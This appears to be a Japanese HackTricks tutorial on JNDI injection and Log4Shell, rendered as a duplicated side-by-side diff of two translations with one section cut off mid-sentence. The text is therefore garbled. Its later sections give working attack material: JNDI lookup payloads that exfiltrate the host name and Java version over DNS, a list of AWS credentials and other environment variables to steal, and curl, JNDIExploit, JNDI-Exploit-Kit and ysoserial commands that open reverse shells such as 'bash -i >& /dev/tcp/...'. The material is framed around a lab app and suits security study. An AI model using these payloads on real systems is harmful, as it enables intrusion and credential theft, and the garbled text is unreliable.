<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong>!</summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong>!</summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手す * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れ
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)を入手す
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする。
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 * **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderはあなたの攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリケーション、クラウドシステムまでの技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) 今日 最も重要な脆弱性を見つけて迅速に修正できるようにしましょう。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリクラウドシステムまでの技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -24,66 +24,66 @@ HackTricksをサポートする他の方法
## 基本情報 ## 基本情報
JNDIは1990年代後半からJavaに統合されており、ディレクトリサービスとして機能し、Javaプログラムが名前付けシステムを介してデータやオブジェクトを見つけることを可能にします。さまざまなディレクトリサービスをサポートするサービスプロバイダインターフェースSPIを介して、リモートJavaオブジェクトを含むさまざまなシステムからデータを取得できます。一般的なSPIにはCORBA COS、Java RMI Registry、LDAPなどがあります。 JNDIは1990年代後半からJavaに統合されており、ディレクトリサービスとして機能し、Javaプログラムが名前付けシステムを介してデータやオブジェクトを見つけることを可能にします。さまざまなディレクトリサービスをサポートするサービスプロバイダインターフェースSPIを介して、リモートJavaオブジェクトを含むさまざまなシステムからデータを取得できます。一般的なSPIにはCORBA COS、Java RMI Registry、LDAPなどがあります。
### JNDI Naming Reference ### JNDI Naming Reference
JNDI Naming Referencesを使用してJavaオブジェクトを格納および取得できます。これには2つの形式があります JNDI Naming Referencesを使用してJavaオブジェクトを保存および取得できます。これには2つの形式があります:
- **Reference Addresses**オブジェクトの場所を指定します_rmi://server/ref_)、指定されたアドレスから直接取得できます。 - **Reference Addresses**: オブジェクトの場所を指定します(例: _rmi://server/ref_)、指定されたアドレスから直接取得できます。
- **Remote Factory**リモートファクトリクラスを参照します。アクセス時に、クラスはリモート位置からダウンロードされてインスタンス化されます。 - **Remote Factory**: リモートファクトリクラスを参照します。アクセス時に、クラスはリモート位置からダウンロードおよびインスタンス化されます。
ただし、このメカニズムは悪用される可能性があり、任意のコードの読み込みと実行につながる可能性があります。対策として ただし、このメカニズムは悪用される可能性があり、任意のコードの読み込みと実行につながる可能性があります。対策として:
- **RMI**JDK 7u21以降、デフォルトで`java.rmi.server.useCodeabseOnly = true`に設定され、リモートオブジェクトの読み込みが制限されます。セキュリティマネージャーはさらに読み込むことができるものを制限します。 - **RMI**: JDK 7u21以降、デフォルトで`java.rmi.server.useCodeabseOnly = true`に設定され、リモートオブジェクトの読み込みが制限されます。さらに、Security Managerによって読み込まれる内容が制限されます。
- **LDAP**JDK 6u141、7u131、8u121以降、デフォルトで`com.sun.jndi.ldap.object.trustURLCodebase = false`に設定され、リモートで読み込まれたJavaオブジェクトの実行をブロックします。`true`に設定すると、セキュリティマネージャーの監視なしにリモートコードの実行が可能になります。 - **LDAP**: JDK 6u141、7u131、8u121以降、デフォルトで`com.sun.jndi.ldap.object.trustURLCodebase = false`に設定され、リモートで読み込まれたJavaオブジェクトの実行がブロックされます。`true`に設定すると、Security Managerの監視なしにリモートコードの実行が可能になります。
- **CORBA**:特定のプロパティはありませんが、セキュリティマネージャーは常にアクティブです。 - **CORBA**: 特定のプロパティはありませんが、常にSecurity Managerがアクティブです。
ただし、JNDIリンクを解決する責任がある**Naming Manager**には組み込みのセキュリティメカニズムが欠けており、任意のソースからオブジェクトを取得できる可能性があります。これにより、RMI、LDAP、CORBAの保護が回避され、任意のJavaオブジェクトの読み込みや既存のアプリケーションコンポーネントガジェットの悪用による悪意のあるコードの実行が可能になります。 ただし、JNDIリンクを解決する責任がある**Naming Manager**には組み込みのセキュリティメカニズムが欠けており、任意のソースからオブジェクトを取得できる可能性があります。これにより、RMI、LDAP、CORBAの保護が回避され、任意のJavaオブジェクトの読み込みや既存のアプリケーションコンポーネントガジェットの悪用による悪意のあるコードの実行が可能になります。
悪用可能なURLの例 悪用可能なURLの例:
- _rmi://attacker-server/bar_ - _rmi://attacker-server/bar_
- _ldap://attacker-server/bar_ - _ldap://attacker-server/bar_
- _iiop://attacker-server/bar_ - _iiop://attacker-server/bar_
保護措置があるにもかかわらず、主に信頼できないソースからのJNDIの読み込みに対する保護が欠けていることや、既存の保護をバイパスする可能性があるため、脆弱性が残っています。 保護があるにもかかわらず、主に信頼できないソースからのJNDIの読み込みに対する保護が欠けていることや、既存の保護をバイパスする可能性があることから、脆弱性が残っています。
### JNDIの例 ### JNDIの例
![](<../../.gitbook/assets/image (655) (1) (1).png>) ![](<../../.gitbook/assets/image (655) (1) (1).png>)
**`PROVIDER_URL`**を設定していても、lookupで異なるものを指定することができ、アクセスされます:`ctx.lookup("<attacker-controlled-url>")` これが攻撃者が悪用して任意のオブジェクトを彼が制御するシステムから読み込む方法です。 **`PROVIDER_URL`**を設定していても、lookupで異なるものを指定することができます: `ctx.lookup("<attacker-controlled-url>")` これを悪用して、攻撃者は自分が制御するシステムから任意のオブジェクトを読み込むことができます。
### CORBA概要 ### CORBA概要
CORBACommon Object Request Broker Architecture、リモートオブジェクトを一意に識別するために**Interoperable Object Reference (IOR)**を使用します。このリファレンスには、次のような重要な情報が含まれます: CORBACommon Object Request Broker Architecture**相互運用可能なオブジェクト参照IOR**を使用してリモートオブジェクトを一意に識別します。この参照には次のような重要な情報が含まれます:
- **Type ID**インターフェースの一意の識別子。 - **Type ID**: インターフェースの一意の識別子。
- **Codebase**スタブクラスを取得するためのURL。 - **Codebase**: スタブクラスを取得するためのURL。
CORBAは基本的に脆弱ではありません。通常、セキュリティを確保するには次の手順が必要です: CORBAは基本的に脆弱ではありません。セキュリティを確保するためには通常、次の手順が必要です:
- **セキュリティマネージャのインストール**。 - **セキュリティマネージャのインストール**。
- セキュリティマネージャを構成して、潜在的に悪意のあるコードベースへの接続を許可します。これは、ソケット権限(例````permissions java.net.SocketPermission "*:1098-1099", "connect";````)や、悪意のあるファイルが配置される特定のディレクトリに対するファイル読み取り権限(普遍的に(````permission java.io.FilePermission "<<ALL FILES>>", "read";````)または)などが含まれます。 - セキュリティマネージャを構成して、潜在的に悪意のあるコードベースへの接続を許可します。これは、ソケット権限(例: ````permissions java.net.SocketPermission "*:1098-1099", "connect";````)や、悪意のあるファイルが配置される特定のディレクトリに対するファイル読み取り権限(普遍的に(````permission java.io.FilePermission "<<ALL FILES>>", "read";````)または)などが含まれます。
ただし、一部のベンダーポリシーは寛大であり、これらの接続をデフォルトで許可する場合があります。 ただし、一部のベンダーポリシーは寛大であり、これらの接続をデフォルトで許可する場合があります。
### RMIコンテキスト ### RMIコンテキスト
RMIRemote Method Invocationに関しては、状況は多少異なります。CORBAと同様に、任意のクラスのダウンロードはデフォルトで制限されています。RMIを悪用するには、通常、セキュリティマネージャーを回避する必要があります。これはCORBAでも重要なことです。 RMIRemote Method Invocationに関しては、状況は多少異なります。CORBAと同様に、任意のクラスのダウンロードはデフォルトで制限されています。RMIを悪用するには、通常、セキュリティマネージャを回避する必要がありますが、これはCORBAでも重要です。
### LDAP ### LDAP
まず、**Search**と**Lookup**を区別する必要があります。\ まず、**Search**と**Lookup**を区別する必要があります。\
**Search**は、`ldap://localhost:389/o=JNDITutorial`のようなURLを使用して、LDAPサーバーからJNDITutorialオブジェクトを見つけ、その属性を**取得**します。\ **Search**は、`ldap://localhost:389/o=JNDITutorial`のようなURLを使用して、LDAPサーバーからJNDITutorialオブジェクトを見つけ、その属性を取得します。\
**Lookup**は**名前付けサービス**向けであり、**名前にバインドされているものを取得**したいときに使用されます。 **Lookup**は**名前付けサービス**向けであり、**名前にバインドされているものを取得**したいと考えています。
LDAP検索が`SearchControls.setReturningObjFlag() with `true`で呼び出された場合、返されたオブジェクトは再構築されます。 LDAP検索が`SearchControls.setReturningObjFlag()`とともに`true`で呼び出された場合、返されたオブジェクトは再構築されます。
したがって、これらのオプションを攻撃する方法はいくつかあります。\ したがって、これらのオプションを攻撃する方法はいくつかあります。\
**攻撃者はLDAPレコードにペイロードを導入し、それらを実行されるシステムに導入**することができますLDAPサーバーにアクセスできる場合、多数のマシンを侵害するのに非常に便利です。これを悪用する別の方法は、たとえばLDAP検索で**MitM攻撃**を実行することです。 **攻撃者はLDAPレコードにペイロードを導入し、それらを実行されるシステムに導入**することができますLDAPサーバーにアクセスできる場合、多数のマシンを侵害するのに非常に便利です。これを悪用する別の方法は、えばLDAP検索で**MitM攻撃**を実行することです。
アプリケーションがJNDI LDAP URLを解決するようにすることができる場合、検索されるLDAPを制御でき、エクスプロイトlog4shellを送り返すことができます。 アプリケーションにJNDI LDAP URLを解決させることができる場合、検索されるLDAPを制御でき、エクスプロイトlog4shellを送り返すことができます。
#### シリアル化エクスプロイト #### シリアル化エクスプロイト
@ -94,7 +94,7 @@ LDAP検索が`SearchControls.setReturningObjFlag() with `true`で呼び出され
#### JNDIリファレンスエクスプロイト #### JNDIリファレンスエクスプロイト
このLDAPを攻撃するのは**JavaFactoryリファレンス**を使用する方が簡単です このLDAPを攻撃するのは**JavaFactoryリファレンス**を使用する方が簡単です:
![](<../../.gitbook/assets/image (660) (1) (1).png>) ![](<../../.gitbook/assets/image (660) (1) (1).png>)
@ -102,21 +102,22 @@ LDAP検索が`SearchControls.setReturningObjFlag() with `true`で呼び出され
この脆弱性は、Log4jが`${prefix:name}`形式の[**特別な構文**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution)をサポートしているために導入されます。ここで、`prefix`はさまざまな[**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html)の1つであり、`name`は評価されるべきものです。たとえば、`${java:version}`は現在実行中のJavaのバージョンです。 この脆弱性は、Log4jが`${prefix:name}`形式の[**特別な構文**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution)をサポートしているために導入されます。ここで、`prefix`はさまざまな[**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html)の1つであり、`name`は評価されるべきものです。たとえば、`${java:version}`は現在実行中のJavaのバージョンです。
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)は`jndi` Lookup機能を導入しました。この機能により、JNDIを介して変数を取得できます。通常、キーは自動的に`java:comp/env/`で接頭辞が付けられます。ただし、キー自体に**":"**が含まれる場合、このデフォルトの接頭辞は適用されません。 [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)は`jndi` Lookup機能を導入しました。この機能により、JNDIを介して変数を取得できます。通常、キーは自動的に`java:comp/env/`で接頭辞が付けられます。ただし、キー自体に**":"**が含まれている場合、このデフォルトの接頭辞は適用されません。
キーに**":"**が含まれる場合、`${jndi:ldap://example.com/a}`のように、**接頭辞はなく、LDAPサーバーがオブジェクトをクエリ**します。これらのLookupsは、Log4jの構成およびログ行の記録時の両方で使用できます。 キーに**":"が含まれてい**場合、`${jndi:ldap://example.com/a}`のように、**接頭辞はなく、LDAPサーバーがオブジェクトをクエリ**します。これらのLookupsは、Log4jの構成およびログ行の記録時の両方で使用できます。
したがって、**ユーザーが制御する情報を処理する脆弱なLog4jのバージョン**を取得するためには、**唯一必要なもの**です。そして、これはJavaアプリケーションが情報をログに記録するために広く使用されているライブラリであるためインターネット向けアプリケーションも含まれます、例えばHTTPヘッダーのような情報をログに記録するためにlog4jが使用されることが非常に一般的でした。ただし、log4jはHTTP情報だけでなく、開発者が指定した任意の入力やデータをログに記録するために使用されます。 したがって、**ユーザーが制御する情報を処理する脆弱なLog4jのバージョン**を取得するために必要なのは、**キーに":"が含まれている**ことです。そして、これはJavaアプリケーションで広く使用されているライブラリであり、HTTPヘッダーなどの情報インターネットに面したアプリケーションを含むをログに記録するためにLog4jが使用されることが非常に一般的であるため、例えばUser-AgentのようなHTTP情報だけでなく、開発者が指定した任意の入力やデータをログに記録するために使用されます。
## Log4Shell関連CVEの概要 ## Log4Shell関連CVEの概要
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **[Critical]** ### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **[Critical]**
この脆弱性は、2.0-beta9から2.14.1までのバージョンに影響を与える`log4j-core`コンポーネントの重大な**信頼されていないデシリアライゼーションの欠陥**であり、**リモートコード実行RCE**を可能にします。攻撃者がシステムを乗っ取ることができます。この問題は、アリババクラウドセキュリティチームのChen Zhaojunによって報告され、さまざまなApacheフレームワークに影響を与えます。バージョン2.15.0の初期の修正は不完全でした。防御のためのSigmaルールが利用可能です[Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml)、[Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml))。 この脆弱性は、2.0-beta9から2.14.1までのバージョンに影響を与える`log4j-core`コンポーネントの重大な**信頼されていないデシリアライゼーションの欠陥**であり、**リモートコード実行RCE**を可能にします。攻撃者がシステムを乗っ取ることができます。この問題はAlibaba Cloud Security TeamのChen Zhaojunによって報告され、さまざまなApacheフレームワークに影響を与えます。バージョン2.15.0の初期の修正は不完全でした。防御のためのSigmaルールが利用可能です[Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml)、[Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml))。
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **[Critical]** ### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **[Critical]**
最初は低評価でしたが後に重要度が引き上げられたこのCVEは、CVE-2021-44228の2.15.0の不完全な修正からの**サービス拒否DoS**の欠陥です。これは、非デフォルトの構成に影響を与え、攻撃者がクラフトされたペイロードを使用してDoS攻撃を引き起こすことができます。[ツイート](https://twitter.com/marcioalm/status/1471740771581652995)がバイパス方法を示しています。この問題は、バージョン2.16.0および2.12.2でメッセージルックアップパターンを削除し、デフォルトでJNDIを無効にすることで解決されています。 最初は低評価でしたが後に重要度が上がったこのCVEは、2.15.0のCVE-2021-44228の不完全な修正からの**サービス拒否DoS**の欠陥です。これは、非デフォルトの構成に影響を与え、攻撃者がクラフトされたペイロードを使用してDoS攻撃を引き起こすことができます。[ツイート](https://twitter.com/marcioalm/status/1471740771581652995)でバイパス方法が示されています。この問題は、バージョン2.16.0および2.12.2でメッセージルックアップパターンを削除し、デフォルトでJNDIを無効にすることで解決されています。
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-202 ### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **[High]**
`JMSAppender`を使用する非デフォルトの構成で**Log4j 1.xバージョン**に影響を与えるこのCVEは、信頼されていないデシリアライゼーションの
```bash ```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
``` ```
@ -129,9 +130,9 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[
* 脆弱性を悪用して情報を**外部流出**するため * 脆弱性を悪用して情報を**外部流出**するため
たとえば、次のようなリクエストを送信できます:\ たとえば、次のようなリクエストを送信できます:\
または`${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`**のようなもので、**環境変数の値がDNSリクエストで受信された場合**、アプリケーションが脆弱であることがわかります。 または`${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`**のようなもので、**環境変数の値を含むDNSリクエスト**が受信された場合、アプリケーションが脆弱であることがわかります。
他にも**外部流出**しようとする情報があります: 他にも**外部流出**しようとする情報は次のとおりです:
``` ```
${env:AWS_ACCESS_KEY_ID} ${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE} ${env:AWS_CONFIG_FILE}
@ -185,9 +186,9 @@ Any other env variable name that could store sensitive information
### RCE 情報 ### RCE 情報
{% hint style="info" %} {% hint style="info" %}
JDK バージョンが 6u141 より上、7u131 より上、または 8u121 より上のホストは、LDAP クラスローディング攻撃ベクトルに対して保護されています。これは、`com.sun.jndi.ldap.object.trustURLCodebase` のデフォルトの非アクティブ化によるもので、これにより JNDI が LDAP を介してリモートコードベースをロードすることが防止されます。ただし、これらのバージョンは**逆シリアル化攻撃ベクトルに対しては保護されていない**ことに注意することが重要です。 JDK バージョンが 6u141 より上、7u131 より上、または 8u121 より上のホストは、LDAP クラスローディング攻撃ベクトルに対して保護されています。これは、`com.sun.jndi.ldap.object.trustURLCodebase` のデフォルト無効化によるもので、これにより JNDI が LDAP を介してリモートコードベースをロードすることが防止されます。ただし、これらのバージョンは **逆シリアル化攻撃ベクトルに対しては保護されていない**ことに注意することが重要です。
これらの高い JDK バージョンを悪用しようとする攻撃者は、Java アプリケーション内で**信頼されたガジェット**を利用する必要があります。この目的のためには、ysoserial や JNDIExploit などのツールがよく使用されます。一方、低い JDK バージョンを悪用することは比較的簡単です。これらのバージョンは任意のクラスをロードして実行するように操作することができます。 これらの高い JDK バージョンを悪用しようとする攻撃者は、Java アプリケーション内で **信頼されたガジェット** を利用する必要があります。この目的のためには、ysoserial や JNDIExploit などのツールがよく使用されます。一方、低い JDK バージョンを悪用することは比較的簡単です。これらのバージョンは任意のクラスをロードして実行するように操作できます。
**詳細情報**_RMI および CORBA ベクトルの制限など_については、**前の JNDI Naming リファレンスセクション**を参照するか、[https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) をご覧ください。 **詳細情報**_RMI および CORBA ベクトルの制限など_については、**前の JNDI Naming リファレンスセクション**を参照するか、[https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) をご覧ください。
{% endhint %} {% endhint %}
@ -212,23 +213,23 @@ e.printStackTrace();
} }
} }
``` ```
Javaファイルをクラスファイルにコンパイルするには、`javac Exploit.java -source 8 -target 8`を使用します。次に、クラスファイルが含まれるディレクトリで**HTTPサーバー**を起動します: `python3 -m http.server`。**marshalsec LDAPサーバー**がこのHTTPサーバーを参照していることを確認してください。 Javaファイルを`javac Exploit.java -source 8 -target 8`を使用してクラスファイルにコンパイルします。次に、クラスファイルが含まれるディレクトリで`python3 -m http.server`を使用して**HTTPサーバー**を開始します。**marshalsec LDAPサーバー**がこのHTTPサーバーを参照することを確認してください。
感染しやすいWebサーバーでのエクスプロイトクラスの実行をトリガーするには、次のようなペイロードをディスパッチします: 以下のようなペイロードをディスパッチして、脆弱なWebサーバーでexploitクラスの実行をトリガーします。
```bash ```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit} ${jndi:ldap://<LDAP_IP>:1389/Exploit}
``` ```
**注意:** この脆弱性は、Javaの構成がLDAP経由でのリモートコードベースの読み込みを許可していることに依存しています。これが許可されていない場合は、任意のコードを実行するための信頼できるクラスを悪用することを検討してください。 **注意:** この脆弱性は、Javaの構成がLDAP経由でのリモートコードベースの読み込みを許可していることに依存しています。これが許可されていない場合は、任意のコードを実行するための信頼されたクラスを悪用することを検討してください。
### RCE - **JNDIExploit** ### RCE - **JNDIExploit**
{% hint style="info" %} {% hint style="info" %}
一部の理由により、このプロジェクトはlog4shellの発見後に作者によってgithubから削除されました。[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)でキャッシュされたバージョンを見つけることができますが、作者の決定を尊重したい場合は、この脆弱性を悪用する別の方法を使用してください。 一部の理由により、このプロジェクトはlog4shellの発見後に作者によってgithubから削除されました。[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)でキャッシュされたバージョンを見つけることができますが、作者の決定を尊重したい場合は、この脆弱性を悪用する別の方法を使用してください。
さらに、ソースコードはwayback machineには見つからないため、ソースコードを分析するか、実行するjarを実行することによって、何を実行しているのかわからないことを理解して実行する必要があります さらに、wayback machineでソースコードを見つけることはできませんので、ソースコードを分析するか、実行するjarを実行していることを知っているが何を実行しているのかわからないことを認識してください
{% endhint %} {% endhint %}
この例では、**脆弱なwebサーバーをlog4shellにログ出力する**ために、ポート8080で実行できます: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_READMEに実行方法が記載されています_). この脆弱なアプリは、HTTPリクエストヘッダー _X-Api-Version_ の内容を脆弱なlog4shellのバージョンでログ出力しています。 この例では、単に**脆弱なwebサーバーをlog4shellにログを取る**ためにポート8080で実行できます: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_READMEに実行方法が記載されています_). この脆弱なアプリは、HTTPリクエストヘッダー _X-Api-Version_ の内容を脆弱なlog4shellのバージョンでログに記録しています。
その後、**JNDIExploit**のjarファイルをダウンロードして、次のように実行します: その後、**JNDIExploit**のjarファイルをダウンロードして、次のように実行します:
```bash ```bash
@ -246,7 +247,7 @@ ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port] ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more # But there are a lot more
``` ```
したがって、この例では、すでに脆弱性のあるDockerアプリケーションが実行されています。攻撃するには したがって、この例では、すでにその脆弱性のあるDockerアプリケーションが実行されています。攻撃するには
```bash ```bash
# Create a file inside of th vulnerable host: # Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
@ -255,13 +256,13 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
``` ```
攻撃を送信すると、実行したターミナルにいくつかの出力が表示されます**JNDIExploit-1.2-SNAPSHOT.jar**。 攻撃を送信すると、**JNDIExploit-1.2-SNAPSHOT.jar** を実行したターミナルにいくつかの出力が表示されます
**他の攻撃オプションを確認するには`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`をチェックしてください。さらに、必要な場合はLDAPおよびHTTPサーバーのポートを変更できます。** **他の攻撃オプションを確認するには `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` をチェックしてください。さらに、必要な場合はLDAPとHTTPサーバーのポートを変更することができます。**
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a> ### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
前の攻撃と同様に、この脆弱性を悪用するために[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)を使用できます。\ 前の攻撃と同様に、この脆弱性を悪用するために[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)を使用することができます。\
被害者に送信するためのURLを生成することができます 被害者に送信するためのURLを生成することができます
```bash ```bash
# Get reverse shell in port 4444 (only unix) # Get reverse shell in port 4444 (only unix)
@ -270,24 +271,24 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
# Execute command # Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell" java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
``` ```
_この攻撃は、**THMソーラールーム**のような研究室でカスタム生成されたJavaオブジェクトを使用して機能します。ただし、これは一般的には機能しませんデフォルトではJavaはLDAPを使用してリモートコードベースをロードするように構成されていないため)私は、これが信頼されたクラスを悪用して任意のコードを実行するために機能していないと考えています。_ _このカスタム生成されたJavaオブジェクトを使用した攻撃は、**THMソーラールーム**のような研究室で機能します。ただし、これは一般的には機能しませんデフォルトではJavaはLDAPを使用してリモートコードベースを読み込むように構成されていないため)私は、これが信頼されたクラスを悪用して任意のコードを実行するためではないためだと思います。_
### RCE - ysoserial & JNDI-Exploit-Kit ### RCE - ysoserial & JNDI-Exploit-Kit
このオプションは、**特定のクラスのみを信頼し、誰にでも信頼しないように構成されたJavaバージョン**を攻撃するのに非常に役立ちます。したがって、**ysoserial**は、**信頼されたクラスのシリアル化**を生成するために使用され、これらは**任意のコードを実行するためのガジェットとして使用できます**_ysoserialによって悪用される信頼されたクラスは、攻撃対象のJavaプログラムによって使用される必要があります_ このオプションは、**特定のクラスのみを信頼し、誰にでも信頼しないように構成されたJavaバージョン**を攻撃するのに非常に役立ちます。したがって、**ysoserial**は、**信頼されたクラスのシリアライゼーション**を生成するために使用され、これらは**任意のコードを実行するためのガジェットとして使用できます**_ysoserialによって悪用される信頼されたクラスは、エクスプロイトが機能するために被害者のJavaプログラムで使用されなければなりません_
**ysoserial**または[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)を使用して、JNDIによってダウンロードされる逆シリアル化攻撃を作成できます: **ysoserial**または[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)を使用して、JNDIによってダウンロードされる逆シリアル化エクスプロイトを作成できます:
```bash ```bash
# Rev shell via CommonsCollections5 # Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
``` ```
使用[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)生成**JNDIリンク**を、脆弱なマシンからの接続を待つエクスプロイトが含まれるようにします。JNDI-Exploit-Kitによって自動生成される**異なるエクスプロイト**またはあなた自身またはysoserialによって生成された**独自の逆シリアル化ペイロード**を提供することできます。 使用[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)生成**JNDIリンク**を、脆弱なマシンからの接続を待つためのエクスプロイトを生成します。JNDI-Exploit-Kitによって自動生成される**異なるエクスプロイト**またはあなた自身またはysoserialによって生成された**独自の逆シリアル化ペイロード**を提供することできます。
```bash ```bash
